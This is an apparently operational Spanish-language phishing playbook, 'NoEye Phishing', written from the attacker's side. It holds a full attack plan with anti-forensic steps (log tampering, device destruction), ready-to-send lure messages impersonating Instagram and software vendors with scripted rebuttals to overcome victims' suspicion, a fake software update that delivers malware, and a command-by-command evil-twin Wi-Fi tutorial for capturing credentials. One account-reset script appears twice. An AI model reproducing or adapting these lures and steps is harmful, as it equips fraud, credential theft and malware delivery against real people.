NoEye Phishing

Guion para la Ejecución de un Ataque de Phishing

1. Objetivo del Ataque

- **Objetivo Primario**: (Por ejemplo, obtener credenciales de acceso a un sistema bancario, redes sociales, etc.)
- **Objetivo Secundario**: (Por ejemplo, instalar malware, obtener información personal para futuros ataques, etc.)

2. Investigación y Reconocimiento

- **Identificación del objetivo**:
  - Recolectar información sobre la empresa/persona objetivo.
  - Identificar empleados clave o usuarios vulnerables.
  - Utilizar técnicas OSINT (Open Source Intelligence) para obtener datos relevantes.
- **Análisis de redes sociales y perfiles públicos**:
  - Buscar datos personales, correos electrónicos, intereses y comportamiento en línea.
- **Identificación de plataformas y servicios utilizados por la víctima**:
  - Identificar servicios utilizados para personalizar el ataque (bancos, redes sociales, etc.).

3. Preparación del Ataque

- **Diseño del correo electrónico de phishing**:
  - Crear un correo que imite una fuente confiable (banco, empresa, proveedor de servicios).
  - Elaborar un asunto atractivo (ejemplo: "Actualización importante de su cuenta", "Acción requerida: Verificación de seguridad").
- **Construcción del contenido**:
  - Incluir enlaces o adjuntos que aparenten ser legítimos.
  - Diseñar una página de phishing que imite el sitio oficial.
- **Preparación de la infraestructura**:
  - Crear dominios similares al original (typosquatting).
  - Configurar servidores para alojar la página de phishing.
  - Implementar técnicas de evasión de detección (ofuscación, HTTPS falso, etc.).

4. Ejecución del Ataque

- **Envío del correo**:
  - Utilizar una cuenta de correo falsa o comprometida para evitar el rastreo.
  - Programar el envío a un momento óptimo (horas de trabajo, final de mes, etc.).

- **Monitoreo de la interacción**:
    - Supervisar en tiempo real las respuestas y las visitas a la página de phishing.
- **Captura de credenciales/información**:
    - Almacenar la información ingresada por la víctima de forma segura.
    - Enviar una confirmación falsa o redirigir a la víctima al sitio legítimo para evitar sospechas.

5. Post-Ejecución y Análisis

- **Extracción de la información**:
    - Transferir las credenciales o datos a un servidor seguro.
    - Eliminar rastros que puedan vincular la actividad con el atacante.
- **Revisión del éxito del ataque**:
    - Evaluar la cantidad y calidad de la información obtenida.
    - Analizar la efectividad del correo y la tasa de respuesta.
- **Escalamiento del ataque (si es necesario)**:
    - Utilizar la información obtenida para nuevos ataques (phishing lateral, spear phishing).
- **Cierre de la operación**:
    - Desconectar y eliminar la infraestructura utilizada.
    - Análisis de riesgos y exposición.

6. Medidas Anti-Forenses

- **Ofuscación de logs**:
    - Eliminar o alterar registros en servidores utilizados para evitar rastreo.
- **Uso de VPN y proxies**:
    - Ocultar la ubicación real del atacante.
- **Destrucción de dispositivos**:
    - Borrar dispositivos utilizados para el ataque (memorias USB, discos duros, etc.).

GUIONES:

Título: Guion Detallado de Phishing para Obtener Credenciales de Instagram (CON LINK)

---

1. Contacto Inicial

Paso 1: Envío del Mensaje de Phishing

Atacante envía un mensaje:

Mensaje del Atacante:

Hola [Nombre de la víctima],

Detectamos un intento de inicio de sesión inusual en tu cuenta de Instagram desde un dispositivo nuevo. Si no fuiste tú, por favor verifica tu cuenta para evitar el bloqueo.

Haz clic en el siguiente enlace para verificar tu cuenta:

(Enlace falso que lleva a una página que imita el inicio de sesión de Instagram)

---

2. Respuestas Iniciales de la Víctima y Reacciones del Atacante

Posible Respuesta de la Víctima A: La víctima hace clic en el enlace.

Víctima: *(Hace clic en el enlace)*

Atacante reacciona:

Mensaje del Atacante:

Gracias por actuar rápidamente. Por favor, inicia sesión con tus credenciales para verificar tu cuenta. Recuerda que si no lo haces en las próximas 24 horas, tu cuenta será bloqueada temporalmente.

Posible Respuesta de la Víctima B: La víctima responde con preguntas.

Víctima:

¿Qué dispositivo? No reconozco esto, ¿es seguro?

Atacante reacciona:

Mensaje del Atacante:

Parece que el intento de inicio de sesión fue desde un dispositivo en [Ubicación genérica o cercana]. Entendemos tus preocupaciones, por eso te pedimos que verifiques tu cuenta para asegurarte de que esté protegida. Si no lo haces, lamentablemente tendremos que bloquear temporalmente tu cuenta para evitar accesos no autorizados.

Posible Respuesta de la Víctima C: La víctima ignora el mensaje.

Víctima: *(No responde ni hace clic en el enlace)*

Atacante reacciona (tras unas horas o al día siguiente):

Mensaje del Atacante (recordatorio):

Recordatorio: Tu cuenta de Instagram está en riesgo. Notamos que no has verificado tu cuenta aún. Por favor, hazlo ahora para evitar el bloqueo.

(Enlace falso de nuevo)

---

3. Respuestas Posteriores de la Víctima y Estrategias del Atacante

Posible Respuesta de la Víctima A1: La víctima ingresa sus credenciales.

Víctima: *(Ingresa sus credenciales en la página falsa)*

Atacante reacciona:

Mensaje del Atacante:

Gracias por verificar tu cuenta. Todo está en orden ahora.

(Las credenciales son capturadas y almacenadas por el atacante.)

Posible Respuesta de la Víctima A2: La víctima duda.

Víctima:

No estoy seguro, esto no se ve bien. ¿Cómo sé que es real?

Atacante reacciona:

Mensaje del Atacante:

Entendemos tus dudas. Para garantizar que este es un mensaje legítimo, puedes revisar nuestro certificado de seguridad en la página de verificación. Este proceso es 100% seguro y está respaldado por las políticas de Instagram.

(Enlace a una página de preguntas frecuentes falsas para convencer a la víctima de la legitimidad.)

Posible Respuesta de la Víctima B1: La víctima sigue el enlace.

Víctima: *(Hace clic en el enlace después de recibir más información)*

Atacante reacciona:
(Continúa como en **Respuesta A1** o **A2**, dependiendo de si la víctima ingresa las credenciales o duda nuevamente.)

Posible Respuesta de la Víctima B2: La víctima solicita más información.

Víctima:

¿Qué otro tipo de información tienen? Esto me parece sospechoso.

Atacante reacciona:

Mensaje del Atacante:

Comprendemos tus preocupaciones. Esta es una medida de seguridad estándar para proteger tu cuenta. Si prefieres no hacer clic en el enlace, puedes intentar iniciar sesión desde la aplicación de Instagram para confirmar que todo está en orden. Sin embargo, es importante que revises cuanto antes para evitar el bloqueo.

(El atacante intenta tranquilizar a la víctima mientras mantiene la presión.)

---

4. Reacción del Atacante ante la Respuesta Final de la Víctima

Posible Respuesta de la Víctima D1: La víctima finalmente ingresa sus credenciales.

Víctima: *(Ingresa sus credenciales tras recibir más garantías)*

Atacante reacciona:

Mensaje del Atacante:

Gracias por verificar tu cuenta. Todo está en orden ahora.

(Las credenciales son capturadas y almacenadas por el atacante.)

Posible Respuesta de la Víctima D2: La víctima sigue desconfiando y no ingresa nada.

Víctima:

Esto sigue sin parecerme correcto. Voy a contactar directamente con Instagram.

Atacante reacciona:

Mensaje del Atacante:

Entendemos tu precaución. Puedes ponerte en contacto directamente con el soporte de Instagram para confirmar la autenticidad de este mensaje. Gracias por tu tiempo.

(El atacante abandona el intento y puede intentar otras técnicas o finalizar el ataque.)

---

5. Finalización del Ataque

Escenario 1: El ataque tiene éxito

- **Resultado:** Las credenciales de la víctima son capturadas.
- **Acción del Atacante:** El atacante cierra la página falsa y almacena las credenciales obtenidas.

Escenario 2: El ataque falla

- **Resultado:** La víctima no ingresa sus credenciales y el ataque es detectado o abandonado.
- **Acción del Atacante:** El atacante puede intentar un nuevo enfoque o dejar de atacar a esta víctima.

Título: Guion Detallado de Phishing para Obtener Credenciales de Instagram (Sin Enlace Falso)

---

1. Contacto Inicial

Paso 1: Envío del Mensaje de Phishing

Atacante envía un mensaje:

Mensaje del Atacante:

Hola [Nombre de la víctima],

Somos del equipo de seguridad de Instagram. Hemos detectado actividades inusuales en tu cuenta, lo que sugiere que podría haber sido comprometida. Para asegurarnos de que tu cuenta esté segura, necesitamos que verifiques tu identidad.

Responde a este mensaje con tu nombre de usuario, la dirección de correo electrónico asociada y la contraseña actual para que podamos proceder con la verificación.

---

2. Respuestas Iniciales de la Víctima y Reacciones del Atacante

Posible Respuesta de la Víctima A: La víctima proporciona la información solicitada.

Víctima:

Mi usuario es [usuario], mi correo es [correo@example.com] y mi contraseña es [contraseña].

Atacante reacciona:

Mensaje del Atacante:

Gracias por tu respuesta. Estamos verificando tu cuenta. Todo parece estar en orden. Te notificaremos si detectamos algún otro problema.

(Las credenciales son capturadas y almacenadas por el atacante.)

Posible Respuesta de la Víctima B: La víctima responde con preguntas.

Víctima:

¿Por qué necesitan mi contraseña? Esto suena raro. Nunca me han pedido esto antes.

Atacante reacciona:

Mensaje del Atacante:

Entendemos tu preocupación. Debido a las actividades sospechosas, necesitamos confirmar que eres el propietario legítimo de la cuenta. Instagram implementó recientemente este paso de seguridad adicional para proteger mejor a nuestros usuarios. Una vez que verifiquemos tu identidad, no necesitaremos volver a hacer esto en el futuro.

Por favor, comparte tu información para que podamos proteger tu cuenta.

Posible Respuesta de la Víctima C: La víctima ignora el mensaje.

Víctima: *(No responde ni proporciona la información solicitada.)*

Atacante reacciona (tras unas horas o al día siguiente):

Mensaje del Atacante (recordatorio):

Notamos que no has respondido a nuestro mensaje anterior. Es crucial que verifiques tu identidad lo antes posible para evitar que tu cuenta sea bloqueada temporalmente por razones de seguridad. Tu cuenta podría estar en riesgo. Responde con la información solicitada para que podamos ayudarte.

---

3. Respuestas Posteriores de la Víctima y Estrategias del Atacante

Posible Respuesta de la Víctima A1: La víctima envía la información tras el recordatorio.

Víctima:

Perdón por la demora. Mi usuario es [usuario], mi correo es [correo@example.com] y mi contraseña es [contraseña].

Atacante reacciona:

Mensaje del Atacante:

Gracias por tu respuesta. Hemos verificado tu cuenta y todo está en orden. Gracias por tu cooperación.

(Las credenciales son capturadas y almacenadas por el atacante.)

Posible Respuesta de la Víctima A2: La víctima sigue desconfiando.

Víctima:

Esto sigue sin parecerme correcto. Voy a contactar directamente con Instagram.

Atacante reacciona:

Mensaje del Atacante:

Entendemos tu precaución. Lamentablemente, si no verificas tu cuenta con nosotros, podríamos proceder con el bloqueo temporal para evitar accesos no autorizados. Puedes intentar contactar con Instagram, pero este es un proceso estándar que necesitamos completar.

Si decides continuar con la verificación, por favor comparte tu información para que podamos ayudarte.

Posible Respuesta de la Víctima B1: La víctima pide una forma alternativa de verificación.

Víctima:

No me siento cómodo compartiendo mi contraseña. ¿Hay otra forma de verificar mi cuenta?

Atacante reacciona:

Mensaje del Atacante:

Apreciamos tu preocupación por la seguridad. Desafortunadamente, debido a la naturaleza de las actividades sospechosas detectadas, necesitamos esta información específica para verificar tu cuenta de manera segura. Sin ella, no podemos garantizar la seguridad de tu cuenta.

Te recomendamos compartir tu información para evitar el bloqueo temporal de la cuenta.

---

4. Reacción del Atacante ante la Respuesta Final de la Víctima

Posible Respuesta de la Víctima C1: La víctima finalmente proporciona la información.

Víctima:

Mi usuario es [usuario], mi correo es [correo@example.com] y mi contraseña es [contraseña].

Atacante reacciona:

Mensaje del Atacante:

Gracias por tu cooperación. Hemos verificado tu cuenta y todo está en orden ahora. No deberías tener más problemas.

(Las credenciales son capturadas y almacenadas por el atacante.)

Posible Respuesta de la Víctima C2: La víctima se niega a proporcionar la información.

Víctima:

Lo siento, pero no voy a compartir mi contraseña. Esto parece un intento de estafa.

Atacante reacciona:

Mensaje del Atacante:

Lamentamos que sientas desconfianza. Te recordamos que esta es una medida de seguridad para proteger tu cuenta. Sin la verificación, tu cuenta podría estar en riesgo de ser bloqueada temporalmente. Sin embargo, respetamos tu decisión.

(El atacante abandona el intento y podría buscar otras víctimas o cambiar de enfoque.)

---

5. Finalización del Ataque

Escenario 1: El ataque tiene éxito

- **Resultado:** Las credenciales de la víctima son capturadas.
- **Acción del Atacante:** El atacante almacena las credenciales obtenidas y finaliza el ataque.

Escenario 2: El ataque falla

- **Resultado:** La víctima no comparte sus credenciales, y el ataque es detectado o abandonado.
- **Acción del Atacante:** El atacante podría intentar un nuevo enfoque con otra víctima o dejar de atacar a esta.

Título: Guion Detallado de Phishing para "Actualización de Software"

---

1. Contacto Inicial

Paso 1: Envío del Mensaje de Phishing

Atacante envía un mensaje (por correo electrónico, mensaje de texto o incluso una notificación falsa):

Mensaje del Atacante:

Estimado usuario,

Se ha detectado una vulnerabilidad crítica en el software [nombre del software, por ejemplo, "Windows", "Antivirus X"] que estás utilizando. Es imperativo que actualices a la última versión de seguridad para proteger tu dispositivo contra amenazas.

Por favor, descarga e instala la actualización desde el archivo adjunto o responde a este mensaje para recibir el enlace de descarga directa.

Esta actualización es obligatoria para mantener tu dispositivo seguro y debe realizarse dentro de las próximas 24 horas para evitar riesgos.

---

2. Respuestas Iniciales de la Víctima y Reacciones del Atacante

Posible Respuesta de la Víctima A: La víctima descarga el archivo adjunto y lo ejecuta.

Víctima: *(Descarga el archivo adjunto y lo ejecuta)*

Atacante reacciona:

Mensaje del Atacante:

(Ningún mensaje adicional es necesario. El malware, como un keylogger, ransomware o troyano, se instala automáticamente en el dispositivo de la víctima.)

Posible Respuesta de la Víctima B: La víctima solicita más información.

Víctima:

¿Qué tipo de actualización es esta? ¿Por qué es tan urgente?

Atacante reacciona:

Mensaje del Atacante:

Esta es una actualización de seguridad crítica que corrige una vulnerabilidad recientemente descubierta que podría permitir a atacantes externos comprometer tu dispositivo. La urgencia se debe a que hemos detectado intentos de explotar esta vulnerabilidad en otros usuarios.

Te recomendamos encarecidamente que realices la actualización inmediatamente. Descarga el archivo adjunto y sigue las instrucciones para proteger tu dispositivo.

Posible Respuesta de la Víctima C: La víctima ignora el mensaje.

Víctima: *(No responde ni descarga el archivo)*

Atacante reacciona (tras unas horas o al día siguiente):

Mensaje del Atacante (recordatorio):

Recordatorio: Todavía no has actualizado tu software. Esto es crucial para mantener la seguridad de tu dispositivo. Si no realizas esta actualización antes de las próximas 24 horas, tu sistema podría quedar vulnerable a ataques.

Descarga el archivo adjunto ahora para actualizar tu software y protegerte.

---

3. Respuestas Posteriores de la Víctima y Estrategias del Atacante

Posible Respuesta de la Víctima A1: La víctima ejecuta el archivo tras el recordatorio.

Víctima: *(Descarga y ejecuta el archivo adjunto después de recibir el recordatorio.)*

Atacante reacciona:

Mensaje del Atacante:

(El malware se instala en el dispositivo de la víctima, cumpliendo el objetivo del atacante.)

Posible Respuesta de la Víctima B1: La víctima sigue desconfiando.

Víctima:

Esto no me parece seguro. Voy a verificar directamente con el soporte del software.

Atacante reacciona:

Mensaje del Atacante:

Entendemos tu preocupación. Puedes verificar la autenticidad de esta actualización con nuestro equipo de soporte oficial, pero ten en cuenta que debido a la urgencia de esta vulnerabilidad, recomendamos que no demores la instalación. Esta actualización ha sido enviada directamente por nuestro equipo de seguridad.

Si prefieres no descargar el archivo adjunto, puedes visitar nuestro sitio web (enlace a una página falsa o de aspecto oficial) para descargar la actualización.

---

4. Reacción del Atacante ante la Respuesta Final de la Víctima

Posible Respuesta de la Víctima C1: La víctima finalmente ejecuta el archivo.

Víctima: *(Tras recibir garantías, la víctima descarga y ejecuta el archivo.)*

Atacante reacciona:

Mensaje del Atacante:

(El malware se instala en el dispositivo de la víctima, completando el objetivo del ataque.)

Posible Respuesta de la Víctima C2: La víctima se niega a ejecutar el archivo y contacta al soporte oficial.

Víctima:

No voy a ejecutar este archivo. Me parece sospechoso, y ya he contactado con el soporte oficial del software para verificar.

Atacante reacciona:

Mensaje del Atacante:

Lamentamos que sientas desconfianza. Recuerda que este es un procedimiento estándar para mantener la seguridad de tu sistema. Si decides no seguir nuestra recomendación, no podemos garantizar la seguridad de tu dispositivo. Gracias por tu tiempo.

(El atacante abandona el intento y podría buscar otras víctimas o cambiar de enfoque.)

---

5. Finalización del Ataque

Escenario 1: El ataque tiene éxito

- **Resultado:** El malware es instalado en el dispositivo de la víctima.
- **Acción del Atacante:** El atacante monitorea el dispositivo, roba información o ejecuta el payload malicioso según los objetivos.

Escenario 2: El ataque falla

- **Resultado:** La víctima no ejecuta el archivo, y el ataque es detectado o abandonado.
- **Acción del Atacante:** El atacante podría intentar un nuevo enfoque o dejar de atacar a esta víctima.

Tutorial: Cómo Montar una Red Wi-Fi Falsa (Evil Twin Attack)

Requisitos:

1. **Una computadora con Linux:** Preferiblemente una distribución como Kali Linux, que viene preinstalada con muchas herramientas de auditoría de redes.
2. **Una tarjeta Wi-Fi con modo monitor:** Esta es esencial para capturar paquetes y crear un punto de acceso falso.
3. **Herramientas como Aircrack-ng, hostapd, y Wireshark:** Estas herramientas se utilizan para la captura de paquetes, la creación del punto de acceso falso y el análisis del tráfico.

Paso 1: Configurar la Tarjeta Wi-Fi en Modo Monitor

1. Abre una terminal en Kali Linux.
2. Ejecuta el siguiente comando para identificar el nombre de tu interfaz Wi-Fi:

   ```
   ifconfig
   ```

3. Habilita el modo monitor en la tarjeta Wi-Fi:

   ```
   sudo airmon-ng start [nombre_interfaz]
   ```

   Esto cambiará el nombre de la interfaz (por ejemplo, `wlan0` a `wlan0mon`).

Paso 2: Escanear Redes Disponibles

1. Usa `airodump-ng` para escanear redes Wi-Fi cercanas:

   ```
   sudo airodump-ng wlan0mon
   ```

   Esto mostrará todas las redes Wi-Fi disponibles, junto con sus SSID, canales y direcciones MAC.

Paso 3: Crear un Punto de Acceso Falso

1. Usa `hostapd` para crear el punto de acceso falso. Primero, necesitas crear un archivo de configuración, por ejemplo, `hostapd.conf`:

   ```
   interface=wlan0mon
   driver=nl80211
   ssid=NombreRedFalsa
   channel=6
   ```

2. Ejecuta `hostapd` con el archivo de configuración:

   ```
   sudo hostapd hostapd.conf
   ```

   Esto crea una red Wi-Fi con el nombre `NombreRedFalsa` en el canal 6.

Paso 4: Configurar un Servidor DHCP y Redireccionar Tráfico

1. Configura `dnsmasq` para asignar direcciones IP a los clientes que se conecten a tu red falsa.
    - Crea un archivo de configuración `dnsmasq.conf`:

      ```
      interface=wlan0mon
      dhcp-range=192.168.1.10,192.168.1.50,12h
      ```

    - Inicia `dnsmasq` con:

      ```
      sudo dnsmasq -C dnsmasq.conf
      ```

2. Redirige todo el tráfico a un servidor falso usando herramientas como `ettercap` o configurando `iptables` para capturar credenciales de acceso.

Paso 5: Capturar Tráfico y Credenciales

1. Usa `Wireshark` o `tcpdump` para monitorear el tráfico de la red:

   ```
   sudo wireshark
   ```

   Filtra el tráfico HTTP o HTTPS para capturar credenciales que los usuarios ingresen en sitios no seguros.

Paso 6: Desmontar la Red Falsa

1. Cuando hayas terminado, asegúrate de desmontar la red correctamente:

   ```
   sudo airmon-ng stop wlan0mon
   sudo systemctl stop hostapd
   sudo systemctl stop dnsmasq
   ```

Guion: Phishing con "Conexión Wi-Fi Pública"

---

1. Configuración y Señuelo

Paso 1: Crear la Red Wi-Fi Falsa

- El atacante configura una red Wi-Fi falsa en un lugar público, como una cafetería, aeropuerto o biblioteca. La red falsa tiene un nombre similar al de la red legítima (por ejemplo, "Café Starbucks Wi-Fi").

Paso 2: Esperar Conexiones

- El atacante espera a que las víctimas se conecten a la red Wi-Fi falsa, lo cual sucede porque la red parece legítima y no requiere contraseña.

---

2. Interceptación y Manipulación del Tráfico

Paso 3: Redirigir Tráfico HTTP/HTTPS

- Una vez conectada la víctima, todo su tráfico pasa a través del dispositivo del atacante.
- El atacante puede redirigir las víctimas a páginas de inicio de sesión falsas (phishing) que parecen auténticas (por ejemplo, una falsa página de inicio de sesión de Facebook, Instagram o un portal de correo electrónico).

---

3. Contacto Directo (Opcional)

Paso 4: Envío de Mensaje o Notificación

Atacante envía un mensaje (a través de la red, como una ventana emergente o un redireccionamiento):

Mensaje del Atacante:

Por favor, vuelva a iniciar sesión en su cuenta de [servicio, por ejemplo, Gmail, Facebook] para continuar utilizando la conexión Wi-Fi.

(El atacante proporciona un formulario de inicio de sesión falso que recopila las credenciales.)

---

4. Respuestas de la Víctima y Reacciones del Atacante

Posible Respuesta de la Víctima A: La víctima ingresa sus credenciales.

Víctima: *(Introduce usuario y contraseña en la página falsa.)*

Atacante reacciona:

Mensaje del Atacante:

Gracias, sus credenciales han sido verificadas. Ahora puede continuar navegando.

(Las credenciales son capturadas y almacenadas por el atacante.)

Posible Respuesta de la Víctima B: La víctima se desconecta o no ingresa credenciales.

Víctima: *(Cierra la ventana o desconecta su dispositivo.)*

Atacante reacciona:

Mensaje del Atacante (si la víctima sigue conectada):

Notamos que no completó el proceso de inicio de sesión. Por favor, ingrese sus credenciales para continuar utilizando el Wi-Fi.

(El atacante sigue presionando hasta que la víctima ingresa los datos o abandona la red.)

---

5. Finalización del Ataque

Escenario 1: El ataque tiene éxito

- **Resultado:** El atacante captura las credenciales de la víctima.
- **Acción del Atacante:** El atacante almacena las credenciales y finaliza el ataque, pudiendo usarlas más tarde o venderlas.

Escenario 2: El ataque falla

- **Resultado:** La víctima no proporciona credenciales, se desconecta o reporta la red falsa.
- **Acción del Atacante:** El atacante desmonta la red Wi-Fi falsa y considera otro enfoque.

Guion: Phishing de "Reseteo de Cuenta"

---

1. Contacto Inicial

Paso 1: Envío del Mensaje de Phishing

Atacante envía un mensaje (por correo electrónico, mensaje de texto o notificación push):

Mensaje del Atacante:

Estimado(a) usuario(a),

Hemos recibido una solicitud para reiniciar tu cuenta de [nombre del servicio, por ejemplo, "Instagram", "Gmail", "Facebook"]. Si no realizas ninguna acción, tu cuenta se reiniciará en las próximas 24 horas, y todos tus datos se eliminarán de forma permanente.

Si no has solicitado este reinicio, por favor sigue el enlace a continuación para cancelar la solicitud:

[Enlace falso]

Gracias por utilizar [nombre del servicio].

Atentamente,

El equipo de [nombre del servicio]

---

2. Respuestas Iniciales de la Víctima y Reacciones del Atacante

Posible Respuesta de la Víctima A: La víctima hace clic en el enlace.

Víctima: *(Hace clic en el enlace y es redirigida a una página de inicio de sesión falsa.)*

Atacante reacciona:

Mensaje del Atacante (en la página web falsa):

Para cancelar la solicitud de reseteo de cuenta, por favor ingresa tus credenciales para confirmar tu identidad.

(El atacante espera a que la víctima ingrese su usuario y contraseña.)

Posible Respuesta de la Víctima B: La víctima ignora el mensaje.

Víctima: *(No responde ni hace clic en el enlace.)*

Atacante reacciona (tras unas horas o al día siguiente):

Mensaje del Atacante (recordatorio):

Recordatorio: Todavía no has cancelado la solicitud de reseteo de tu cuenta de [nombre del servicio]. La cuenta se reiniciará en breve y todos tus datos serán eliminados.

Haz clic en el siguiente enlace para cancelar el proceso y proteger tu cuenta:

[Enlace falso]

---

3. Respuestas Posteriores de la Víctima y Estrategias del Atacante

Posible Respuesta de la Víctima A1: La víctima ingresa sus credenciales en la página falsa.

Víctima: *(Introduce usuario y contraseña en la página falsa.)*

Atacante reacciona:

Mensaje del Atacante (en la página web falsa):

Gracias, tus credenciales han sido verificadas. La solicitud de reseteo ha sido cancelada.

(Las credenciales son capturadas y almacenadas por el atacante.)

Posible Respuesta de la Víctima B1: La víctima sigue desconfiando.

Víctima:

Esto no me parece seguro. Voy a contactar directamente con el soporte de [nombre del servicio].

Atacante reacciona:

Mensaje del Atacante:

Entendemos tu preocupación. Sin embargo, ten en cuenta que este es un proceso automatizado, y si no cancelas la solicitud a través del enlace proporcionado, la cuenta será reiniciada en las próximas horas.

Te recomendamos encarecidamente que sigas el enlace para evitar la pérdida de datos.

---

4. Respuesta Final de la Víctima y Resultado

Posible Respuesta de la Víctima A2: La víctima finalmente ingresa sus credenciales tras el recordatorio.

Víctima: *(Tras recibir garantías, la víctima introduce sus credenciales en la página falsa.)*

Atacante reacciona:

Mensaje del Atacante:

Gracias, tus credenciales han sido verificadas. La solicitud de reseteo ha sido cancelada.

(El atacante almacena las credenciales y finaliza el ataque.)

Posible Respuesta de la Víctima B2: La víctima se niega a ingresar las credenciales y contacta al soporte oficial.

Víctima:

No voy a ingresar mis credenciales. Esto me parece sospechoso, y ya he contactado con el soporte oficial para verificar.

Atacante reacciona:

Mensaje del Atacante:

Lamentamos que sientas desconfianza. Si decides no seguir nuestra recomendación, no podemos garantizar la seguridad de tu cuenta. Gracias por tu tiempo.

(El atacante abandona el intento y busca otras víctimas o cambia de enfoque.)

---

5. Finalización del Ataque

Escenario 1: El ataque tiene éxito

- **Resultado:** El atacante captura las credenciales de la víctima.
- **Acción del Atacante:** El atacante puede usar las credenciales para acceder a la cuenta de la víctima, cambiar la contraseña y tomar control de la cuenta, o vender la información.

Escenario 2: El ataque falla

- **Resultado:** La víctima no proporciona las credenciales, contacta con el soporte oficial, o el intento de phishing es detectado.
- **Acción del Atacante:** El atacante podría intentar un nuevo enfoque o abandonar el ataque.

Guion: Phishing de "Reseteo de Cuenta"

---

1. Contacto Inicial

Paso 1: Envío del Mensaje de Phishing

Atacante envía un mensaje (por correo electrónico, mensaje de texto, o notificación push):

Mensaje del Atacante:

Estimado(a) usuario(a),

Hemos recibido una solicitud para reiniciar tu cuenta de [nombre del servicio, por ejemplo, "Instagram", "Gmail", "Facebook"]. Si no realizas ninguna acción, tu cuenta se reiniciará en las próximas 24 horas, y todos tus datos se eliminarán de forma permanente.

Si no has solicitado este reinicio, por favor sigue el enlace a continuación para cancelar la solicitud:

[Enlace falso]

Gracias por utilizar [nombre del servicio].

Atentamente,
El equipo de [nombre del servicio]

---

2. Respuestas Iniciales de la Víctima y Reacciones del Atacante

Posible Respuesta de la Víctima A: La víctima hace clic en el enlace.

Víctima: *(Hace clic en el enlace y es redirigida a una página de inicio de sesión falsa.)*

Atacante reacciona:

Mensaje del Atacante (en la página web falsa):

Para cancelar la solicitud de reseteo de cuenta, por favor ingresa tus credenciales para confirmar tu identidad.

(El atacante espera a que la víctima ingrese su usuario y contraseña.)

Posible Respuesta de la Víctima B: La víctima ignora el mensaje.

Víctima: *(No responde ni hace clic en el enlace.)*

Atacante reacciona (tras unas horas o al día siguiente):

Mensaje del Atacante (recordatorio):

Recordatorio: Todavía no has cancelado la solicitud de reseteo de tu cuenta de [nombre del servicio]. La cuenta se reiniciará en breve y todos tus datos serán eliminados.

Haz clic en el siguiente enlace para cancelar el proceso y proteger tu cuenta:

[Enlace falso]

Posible Respuesta de la Víctima C: La víctima responde solicitando más información.

Víctima:

No recuerdo haber solicitado un reseteo de cuenta. ¿Cómo puedo estar seguro de que este mensaje es legítimo?

Atacante reacciona:

Mensaje del Atacante:

Entendemos tu preocupación. Este mensaje se ha enviado debido a una solicitud de reseteo desde tu cuenta. Si no has realizado esta solicitud, es posible que alguien más haya intentado acceder a tu cuenta.

Por favor, sigue el enlace proporcionado para cancelar el reseteo y asegurar tu cuenta. Ignorar este mensaje podría resultar en la pérdida de todos tus datos.

---

3. Respuestas Posteriores de la Víctima y Estrategias del Atacante

Posible Respuesta de la Víctima A1: La víctima ingresa sus credenciales en la página falsa.

Víctima: *(Introduce usuario y contraseña en la página falsa.)*

Atacante reacciona:

Mensaje del Atacante (en la página web falsa):

Gracias, tus credenciales han sido verificadas. La solicitud de reseteo ha sido cancelada.

(Las credenciales son capturadas y almacenadas por el atacante.)

Posible Respuesta de la Víctima A2: La víctima ingresa credenciales erróneas para probar la legitimidad de la página.

Víctima: *(Introduce un usuario o contraseña incorrectos para probar la autenticidad de la página.)*

Atacante reacciona:

Mensaje del Atacante (en la página web falsa):

Las credenciales ingresadas no son correctas. Por favor, verifica e intenta nuevamente.

(El atacante intenta persuadir a la víctima para que ingrese las credenciales correctas.)

Posible Respuesta de la Víctima B1: La víctima sigue ignorando el mensaje incluso tras el recordatorio.

Víctima: *(No hace clic ni responde al segundo mensaje.)*

Atacante reacciona:

Mensaje del Atacante (escalando la urgencia):

Último aviso: Tu cuenta de [nombre del servicio] se reiniciará en las próximas horas. Esta es tu última oportunidad para cancelar el reseteo y evitar la pérdida de datos.

Haz clic en el enlace ahora para asegurar tu cuenta:

[Enlace falso]

Posible Respuesta de la Víctima B2: La víctima verifica la legitimidad del mensaje con el soporte oficial.

Víctima:

Voy a verificar esto con el soporte oficial antes de hacer clic en cualquier enlace.

Atacante reacciona:

Mensaje del Atacante:

Lamentamos que sientas desconfianza. Sin embargo, debido a la urgencia de la situación, te recomendamos encarecidamente que sigas el enlace para cancelar el reseteo lo antes posible.

(El atacante insiste en la urgencia y trata de evitar que la víctima contacte con el soporte oficial.)

Posible Respuesta de la Víctima C1: La víctima solicita más detalles técnicos.

Víctima:

¿Qué detalles técnicos pueden ofrecerme sobre este reseteo? ¿Desde dónde se solicitó?

Atacante reacciona:

Mensaje del Atacante:

La solicitud se realizó desde un dispositivo desconocido en una ubicación diferente a la tuya. Por razones de seguridad, no podemos proporcionar más detalles hasta que verifiques tu identidad. Por favor, ingresa tus credenciales para cancelar la solicitud.

(El atacante intenta mantener la narrativa, reforzando la necesidad de verificar la identidad de la víctima.)

---

4. Respuesta Final de la Víctima y Resultado

Posible Respuesta de la Víctima A3: La víctima finalmente ingresa sus credenciales tras la insistencia.

Víctima: *(Tras recibir múltiples recordatorios y mensajes, la víctima ingresa sus credenciales en la página falsa.)*

Atacante reacciona:

Mensaje del Atacante:

Gracias, tus credenciales han sido verificadas. La solicitud de reseteo ha sido cancelada.

(El atacante almacena las credenciales y finaliza el ataque.)

Posible Respuesta de la Víctima B3: La víctima se niega a ingresar las credenciales y contacta con el soporte oficial.

Víctima:

No voy a ingresar mis credenciales. Esto me parece sospechoso, y ya he contactado con el soporte oficial para verificar.

Atacante reacciona:

Mensaje del Atacante:

Lamentamos que sientas desconfianza. Si decides no seguir nuestra recomendación, no podemos garantizar la seguridad de tu cuenta. Gracias por tu tiempo.

(El atacante abandona el intento y busca otras víctimas o cambia de enfoque.)

Posible Respuesta de la Víctima C2: La víctima reporta el mensaje como phishing.

Víctima: *(Reporta el correo como phishing y no interactúa más con el mensaje.)*

Atacante reacciona:

(No hay más interacción por parte del atacante. Es posible que intente otro enfoque o busque nuevas víctimas.)

---

5. Finalización del Ataque

Escenario 1: El ataque tiene éxito

- **Resultado:** El atacante captura las credenciales de la víctima.
- **Acción del Atacante:** El atacante puede usar las credenciales para acceder a la cuenta de la víctima, cambiar la contraseña y tomar control de la cuenta, o vender la información.

Escenario 2: El ataque falla

- **Resultado:** La víctima no proporciona las credenciales, contacta con el soporte oficial, o el intento de phishing es detectado.
- **Acción del Atacante:** El atacante podría intentar un nuevo enfoque o abandonar el ataque.

